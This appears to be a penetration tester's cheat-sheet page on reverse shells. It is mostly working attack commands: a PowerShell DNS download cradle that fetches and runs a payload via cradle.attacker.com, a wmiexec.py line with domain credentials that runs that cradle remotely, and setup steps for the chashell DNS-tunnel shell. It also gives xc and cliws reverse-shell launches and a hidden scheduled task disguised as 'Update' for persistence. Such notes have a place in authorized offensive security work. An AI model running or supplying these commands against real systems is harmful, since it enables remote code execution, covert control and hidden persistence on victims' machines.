> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/shells/reverse-shells.md).

# Reverse Shells

* <https://securixy.kz/hack-faq/reverse-shell-ili-bjekkonnekt.html/>
* <https://gist.github.com/daniruiz/c073f631d514bf38e516b62c48366efb>

## PowerShell

* <https://github.com/besimorhino/powercat>
* <https://gist.github.com/staaldraad/8473da7f2dfed28b2216b15ca6ebad11>
* <https://github.com/tihanyin/PSSW100AVB/blob/main/ReverseShell_2022_03.ps1>

### Download Cradles

* <https://gist.github.com/HarmJ0y/bb48307ffa663256e239>
* <https://github.com/danielbohannon/Invoke-CradleCrafter>
* <https://github.com/VirtualAlllocEx/Payload-Download-Cradles>

### PowerShell DNS Delivery

* <https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/>
* <https://github.com/mdsecactivebreach/PowerDNS>

```
'powershell $a=""""http://10.10.13.37/payload.txt"""";iex(Resolve-DnsName """"cradle.attacker.com"""" 16).Strings[0]'

wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:'Passw0rd!'@PC01.megacorp.local 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $url=""""http://10.10.13.37/run.ps1"""";iex(resolve-dnsname """"cradle.attacker.com"""" 16).strings[0];Invoke-RunPayload http://10.10.13.37/payload.txt'
```

## Transport over DNS

* <https://xakep.ru/2018/09/07/dns-tunneling/>
* <https://habr.com/ru/post/345056/>
* <https://habr.com/ru/company/group-ib/blog/496712/>

### dnscat2

* <https://github.com/iagox86/dnscat2>
* <https://github.com/lukebaggett/dnscat2-powershell>

### chashell

* <https://github.com/sysdream/chashell>

Buy and configure DNS (e. g., `example.com`):

```
A * -> <IP>
A @ -> <IP>
A chashell -> <IP>
NS c -> chashell.example.com
```

Get dependencies:

```
$ export GOPATH=/home/user/code/go
$ export PATH=$GOPATH:$GOPATH/bin:$PATH
$ go get -v -u github.com/golang/dep/cmd/dep
$ go get github.com/mitchellh/gox
$ cd $GOPATH/src/github.com/golang/dep
$ go install ./...
```

Clone chashell into `$GOPATH/src` (otherwise, `dep` will error out):

```
$ git clone https://github.com/sysdream/chashell $GOPATH/src/chashell
$ cd $GOPATH/src/chashell
```

Build binaries:

```
$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
$ export DOMAIN_NAME=c.example.com
$ make build-all OSARCH="linux/amd64"
```

Run server on Attacker:

```
$ cd release/
$ sudo systemctl stop systemd-resolved
$ sudo ./chaserv_linux_amd64
```

Run client on Victim:

```
$ ./chashell_linux_amd64
```

## Tools

* <https://www.revshells.com/>
* <https://itm4n.github.io/tools/>

### VbRev

* <https://github.com/VbScrub/VbRev>

### xc

* <https://github.com/xct/xc>

Listen:

```
$ rlwrap ./xc -l -p 443
```

Launch:

```
PS > Start-Process -NoNewWindow .\xc.exe "10.10.13.38 443"
```

### cliws

* <https://github.com/b23r0/cliws>

Reverse mode:

```
$ rlwrap -cAr ./cliws -l 8000
Cmd > .\cliws.exe -r ws://10.10.13.37:8000 powershell
```

Create a scheduled task for persistence:

```powershell
$ while true; do sudo netstat -tulpan | grep LISTEN | grep 8080 > /dev/null || rlwrap -cAr ./cliws -l 8080; done

$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1)
$settings = New-ScheduledTaskSettingsSet -Hidden -MultipleInstances Queue
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden C:\Windows\Tasks\cliws.exe -r ws://10.10.13.37:8080 powershell"
Register-ScheduledTask -TaskName "Update" -Trigger $trigger -Settings $settings -Action $action
```